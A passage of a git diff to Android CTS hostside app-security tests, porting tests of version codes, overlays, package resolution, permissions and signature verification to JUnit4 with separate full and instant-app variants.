+    public void testInstallAllFeatureSplitsAndConfigSplits_full() throws Exception {
+        testInstallAllFeatureSplitsAndConfigSplits(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallAllFeatureSplitsAndConfigSplits_instant() throws Exception {
+        testInstallAllFeatureSplitsAndConfigSplits(true);
+    }
+    private void testInstallAllFeatureSplitsAndConfigSplits(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
                 .addApk(APK_FEATURE_C_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
-    }
-
-    private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
-        public InstallMultiple() {
-            super(getDevice(), mBuildInfo, null);
-        }
-    }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 88c82f7..9dbdc31 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -16,8 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
-
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
@@ -38,7 +36,6 @@
 /**
  * Tests for Keyset based features.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class KeySetHostTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
index 512a753..ec113cb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -16,120 +16,125 @@
 
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import android.platform.test.annotations.AppModeInstant;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test that install of apps using major version codes is being handled properly.
  */
-@AppModeFull // TODO: Needs porting to instant
-public class MajorVersionTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class MajorVersionTest extends BaseAppSecurityTest {
     private static final String PKG = "com.android.cts.majorversion";
     private static final String APK_000000000000ffff = "CtsMajorVersion000000000000ffff.apk";
     private static final String APK_00000000ffffffff = "CtsMajorVersion00000000ffffffff.apk";
     private static final String APK_000000ff00000000 = "CtsMajorVersion000000ff00000000.apk";
     private static final String APK_000000ffffffffff = "CtsMajorVersion000000ffffffffff.apk";
 
-    private IAbi mAbi;
-    private CompatibilityBuildHelper mBuildHelper;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
-        assertNotNull(mAbi);
-        assertNotNull(mBuildHelper);
-
         getDevice().uninstallPackage(PKG);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
+    @After
+    public void tearDown() throws Exception {
         getDevice().uninstallPackage(PKG);
     }
 
-    public void testInstallMinorVersion() throws Exception {
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallMinorVersion_full() throws Exception {
+        testInstallMinorVersion(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallMinorVersion_instant() throws Exception {
+        testInstallMinorVersion(true);
+    }
+    private void testInstallMinorVersion(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_000000000000ffff).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        getDevice().uninstallPackage(PKG);
+        runVersionDeviceTests("testCheckVersion");
     }
 
-    public void testInstallMajorVersion() throws Exception {
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000ff00000000), false, false));
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallMajorVersion_full() throws Exception {
+        testInstallMajorVersion(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallMajorVersion_instant() throws Exception {
+        testInstallMajorVersion(true);
+    }
+    private void testInstallMajorVersion(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_000000ff00000000).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        getDevice().uninstallPackage(PKG);
+        runVersionDeviceTests("testCheckVersion");
     }
 
-    public void testInstallUpdateAcrossMinorMajorVersion() throws Exception {
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallUpdateAcrossMinorMajorVersion_full() throws Exception {
+        testInstallUpdateAcrossMinorMajorVersion(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallUpdateAcrossMinorMajorVersion_instant() throws Exception {
+        testInstallUpdateAcrossMinorMajorVersion(true);
+    }
+    private void testInstallUpdateAcrossMinorMajorVersion(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_000000000000ffff).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
+        runVersionDeviceTests("testCheckVersion");
+        new InstallMultiple(instant).addApk(APK_00000000ffffffff).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
+        runVersionDeviceTests("testCheckVersion");
+        new InstallMultiple(instant).addApk(APK_000000ff00000000).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000ffffffffff), true, false));
+        runVersionDeviceTests("testCheckVersion");
+        new InstallMultiple(instant).addApk(APK_000000ffffffffff).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        getDevice().uninstallPackage(PKG);
+        runVersionDeviceTests("testCheckVersion");
     }
 
-    public void testInstallDowngradeAcrossMajorMinorVersion() throws Exception {
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000ffffffffff), false, false));
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallDowngradeAcrossMajorMinorVersion_full() throws Exception {
+        testInstallDowngradeAcrossMajorMinorVersion(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallDowngradeAcrossMajorMinorVersion_instant() throws Exception {
+        testInstallDowngradeAcrossMajorMinorVersion(true);
+    }
+    private void testInstallDowngradeAcrossMajorMinorVersion(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_000000ffffffffff).run();
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
+        runVersionDeviceTests("testCheckVersion");
+        new InstallMultiple(instant).addApk(APK_00000000ffffffff)
+                .runExpectingFailure("INSTALL_FAILED_VERSION_DOWNGRADE");
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
+        runVersionDeviceTests("testCheckVersion");
+        new InstallMultiple(instant).addApk(APK_000000ff00000000)
+                .runExpectingFailure("INSTALL_FAILED_VERSION_DOWNGRADE");
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
-                mBuildHelper.getTestFile(APK_000000000000ffff), true, false));
+        runVersionDeviceTests("testCheckVersion");
+        new InstallMultiple(instant).addApk(APK_000000000000ffff)
+                .runExpectingFailure("INSTALL_FAILED_VERSION_DOWNGRADE");
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
-        getDevice().uninstallPackage(PKG);
+        runVersionDeviceTests("testCheckVersion");
     }
 
-    private void runDeviceTestsAsCurrentUser(String testMethodName)
-            throws DeviceNotAvailableException {
-        runDeviceTestsAsCurrentUser(PKG, PKG + ".VersionTest", testMethodName);
-    }
-
-    private void runDeviceTestsAsCurrentUser(String packageName, String testClassName, String testMethodName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    private void runVersionDeviceTests(String testMethodName) throws Exception {
+        runDeviceTests(PKG, PKG + ".VersionTest", testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index b4d6877..0a2c5ce 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -15,40 +15,38 @@
  */
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
+import static org.junit.Assert.assertFalse;
 
-@AppModeFull // TODO: Needs porting to instant
-public class OverlayHostTest extends DeviceTestCase implements IBuildReceiver {
+import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull(reason = "Overlays cannot be instant apps")
+public class OverlayHostTest extends BaseAppSecurityTest {
     private static final String PKG = "com.android.cts.overlayapp";
     private static final String APK = "CtsOverlayApp.apk";
-    private CompatibilityBuildHelper mBuildHelper;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         getDevice().uninstallPackage(PKG);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         getDevice().uninstallPackage(PKG);
-        super.tearDown();
     }
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
-    }
-
+    @Test
     public void testInstallingOverlayHasNoEffect() throws Exception {
         assertFalse(getDevice().getInstalledPackageNames().contains(PKG));
 
         // Try to install the overlay, but expect an error.
-        assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
+        new InstallMultiple().addApk(APK).runExpectingFailure();
 
         // The install should have failed.
         assertFalse(getDevice().getInstalledPackageNames().contains(PKG));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
index 9337d97..e081d62 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
@@ -16,12 +16,8 @@
 
 package android.appsecurity.cts;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
 import android.platform.test.annotations.AppModeFull;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import android.platform.test.annotations.AppModeInstant;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -39,13 +35,10 @@
     private static final String TINY_PKG = "android.appsecurity.cts.orderedactivity";
 
     private String mOldVerifierValue;
-    private CompatibilityBuildHelper mBuildHelper;
 
     @Before
     public void setUp() throws Exception {
-        super.setUp();
         getDevice().uninstallPackage(TINY_PKG);
-        mBuildHelper = new CompatibilityBuildHelper(getBuild());
     }
 
     @After
@@ -54,29 +47,56 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testResolveOrderedActivity() throws Exception {
-        getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testResolveOrderedActivity_full() throws Exception {
+        testResolveOrderedActivity(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testResolveOrderedActivity_instant() throws Exception {
+        testResolveOrderedActivity(true);
+    }
+    private void testResolveOrderedActivity(boolean instant) throws Exception {
+        new InstallMultiple(instant)
+                .addApk(TINY_APK)
+                .run();
+        Utils.runDeviceTests(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryActivityOrdered");
-        getDevice().uninstallPackage(TINY_PKG);
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testResolveOrderedService() throws Exception {
-        getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testResolveOrderedService_full() throws Exception {
+        testResolveOrderedService(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testResolveOrderedService_instant() throws Exception {
+        testResolveOrderedService(true);
+    }
+    private void testResolveOrderedService(boolean instant) throws Exception {
+        new InstallMultiple(instant)
+                .addApk(TINY_APK)
+                .run();
+        Utils.runDeviceTests(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryServiceOrdered");
-        getDevice().uninstallPackage(TINY_PKG);
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testResolveOrderedReceiver() throws Exception {
-        getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testResolveOrderedReceiver_full() throws Exception {
+        testResolveOrderedReceiver(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testResolveOrderedReceiver_instant() throws Exception {
+        testResolveOrderedReceiver(true);
+    }
+    private void testResolveOrderedReceiver(boolean instant) throws Exception {
+        new InstallMultiple(instant)
+                .addApk(TINY_APK)
+                .run();
+        Utils.runDeviceTests(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryReceiverOrdered");
-        getDevice().uninstallPackage(TINY_PKG);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index ffce613..c8c1e67 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -20,7 +20,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.platform.test.annotations.AppModeFull;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import android.platform.test.annotations.AppModeInstant;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -67,8 +67,16 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testUninstalledPackageVisibility() throws Exception {
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testUninstalledPackageVisibility_full() throws Exception {
+        testUninstalledPackageVisibility(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testUninstalledPackageVisibility_instant() throws Exception {
+        testUninstalledPackageVisibility(true);
+    }
+    private void testUninstalledPackageVisibility(boolean instant) throws Exception {
         if (!mSupportsMultiUser) {
             return;
         }
@@ -137,8 +145,7 @@
         getDevice().uninstallPackage(TEST_PKG);
     }
 
-    protected void uninstallWithKeepDataForUser(String packageName, int userId)
-            throws DeviceNotAvailableException {
+    private void uninstallWithKeepDataForUser(String packageName, int userId) throws Exception {
         final String command = "pm uninstall -k --user " + userId + " " + packageName;
         getDevice().executeShellCommand(command);
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index e04bf0a..d82507f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -31,7 +31,6 @@
  * Set of tests that verify behavior of runtime permissions, including both
  * dynamic granting and behavior of legacy apps.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class PermissionsHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     private static final String USES_PERMISSION_PKG = "com.android.cts.usepermission";
     private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
@@ -137,12 +136,14 @@
         }
     }
 
+    @AppModeFull(reason = "Instant applications must be at least SDK 26")
     public void testCompatDefault22() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatDefault");
     }
 
+    @AppModeFull(reason = "Instant applications must be at least SDK 26")
     public void testCompatRevoked22() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
         boolean didThrow = false;
@@ -159,6 +160,7 @@
                 "testCompatRevoked_part2");
     }
 
+    @AppModeFull(reason = "Instant applications must be at least SDK 26")
     public void testNoRuntimePrompt22() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -403,6 +405,6 @@
 
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 83a22cf..d821153 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -37,7 +36,6 @@
 /**
  * Tests for APK signature verification during installation.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
@@ -372,6 +370,13 @@
         assertInstallSucceeds("v2-only-two-signers.apk");
     }
 
+    public void testInstallNegativeModulus() throws Exception {
+        // APK signed with a certificate that has a negative RSA modulus.
+        assertInstallSucceeds("v1-only-negative-modulus.apk");
+        assertInstallSucceeds("v2-only-negative-modulus.apk");
+        assertInstallSucceeds("v3-only-negative-modulus.apk");
+    }
+
     public void testInstallV2TwoSignersRejectsWhenOneBroken() throws Exception {
         // Bitflip in the ECDSA signature of second signer. Based on two-signers.apk.
         // This asserts that breakage in any signer leads to rejection of the APK.
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index 8cc141d..5f59d34 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -17,42 +17,23 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
-
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.metrics.proto.MetricMeasurement.Metric;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.testtype.AndroidJUnitTest;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.InstrumentationTest;
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.AbiUtils;
 
-import java.util.HashMap;
-
 /**
  * Tests that verify intent filters.
  */
-@AppModeFull(reason="Instant applications can never be system or privileged")
+@AppModeFull // TODO: Needs porting to instant
 public class PrivilegedUpdateTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-    //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
-    private static final String SHIM_UPDATE_NEW_APK = "CtsShimPrivUpgradePrebuilt_v28.apk";
-    private static final String SHIM_UPDATE_NEW_FAIL_APK = "CtsShimPrivUpgradeWrongSHAPrebuilt_v28.apk";
-    private static final String TEST_PREPARER_APK = "CtsPrivilegedUpdatePreparer.apk";
-    private static final String TEST_PREPARER_PKG = "com.android.cts.privilegedupdate.preparer";
-    private static final String TARGET_SDK_METHOD = "getTargetSdk";
-    private static final String TARGET_SDK_KEY = "target_sdk";
-    private static final int DEFAULT_TARGET_SDK = 24;
-    private static final int NEW_TARGET_SDK = 28;
-    private int mTargetSdk = 0;
-    //---------- END: To handle updated target SDK; remove as b/128436757 ----------
     private static final String TAG = "PrivilegedUpdateTests";
     private static final String SHIM_PKG = "com.android.cts.priv.ctsshim";
     /** Package name of the tests to be run */
@@ -101,10 +82,6 @@
 
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK), false));
         getDevice().executeShellCommand("pm enable " + SHIM_PKG);
-        if (mTargetSdk == 0) {
-            mTargetSdk = DEFAULT_TARGET_SDK;
-            setTargetSdk();
-        }
     }
 
     @Override
@@ -119,7 +96,7 @@
     public void testPrivilegedAppUpgradeRestricted() throws Exception {
         getDevice().uninstallPackage(SHIM_PKG);
         assertEquals(RESTRICTED_UPGRADE_FAILURE, getDevice().installPackage(
-                mBuildHelper.getTestFile(getUpdateApk(true)), true));
+                mBuildHelper.getTestFile(SHIM_UPDATE_FAIL_APK), true));
     }
 
     public void testSystemAppPriorities() throws Exception {
@@ -140,7 +117,7 @@
         
         try {
             assertNull(getDevice().installPackage(
-                    mBuildHelper.getTestFile(getUpdateApk(false)), true));
+                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
         } finally {
             getDevice().uninstallPackage(SHIM_PKG);
@@ -164,7 +141,7 @@
         runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testPrivAppAndEnabled");
         try {
             assertNull(getDevice().installPackage(
-                    mBuildHelper.getTestFile(getUpdateApk(false)), true));
+                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             getDevice().executeShellCommand("pm disable-user " + SHIM_PKG);
             runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testUpdatedPrivAppAndDisabled");
             getDevice().executeShellCommand("pm enable " + SHIM_PKG);
@@ -178,43 +155,4 @@
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
-
-    //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
-    private String getUpdateApk(boolean fail) {
-        if (mTargetSdk == NEW_TARGET_SDK) {
-            if (fail) {
-                return SHIM_UPDATE_NEW_FAIL_APK;
-            }
-            return SHIM_UPDATE_NEW_APK;
-        }
-        if (fail) {
-            return SHIM_UPDATE_FAIL_APK;
-        }
-        return SHIM_UPDATE_APK;
-    }
-
-    private void setTargetSdk() throws Exception {
-        ITestInvocationListener listener = new TargetSdkListener();
-        AndroidJUnitTest instrTest = new AndroidJUnitTest();
-        instrTest.setInstallFile(mBuildHelper.getTestFile(TEST_PREPARER_APK));
-        instrTest.setDevice(getDevice());
-        instrTest.setPackageName(TEST_PREPARER_PKG);
-        instrTest.run(listener);
-    }
-
-    /* Special listener to retrieve the target sdk for the cts shim */
-    private class TargetSdkListener implements ITestInvocationListener {
-        @Override
-        public void testEnded(TestDescription test, HashMap<String, Metric> metrics) {
-            final Metric targetMetric = metrics.get(TARGET_SDK_KEY);
-            if (targetMetric == null) {
-                return;
-            }
-            try {
-                mTargetSdk = Integer.parseInt(targetMetric.getMeasurements().getSingleString());
-            } catch (NumberFormatException ignore) { }
-        }
-    }
-    //---------- END: To handle updated target SDK; remove as b/128436757 ----------
-
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
index b40d806..96992bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
@@ -16,12 +16,9 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
-
 /**
  * Set of tests that verify behavior of the Scoped Directory access API.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class ScopedDirectoryAccessTest extends DocumentsTestCase {
 
     public void testInvalidPath() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 0884818..051fcf8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -16,28 +16,30 @@
 
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.HashMap;
 
 /**
  * Tests that verify installing of various split APKs from host side.
  */
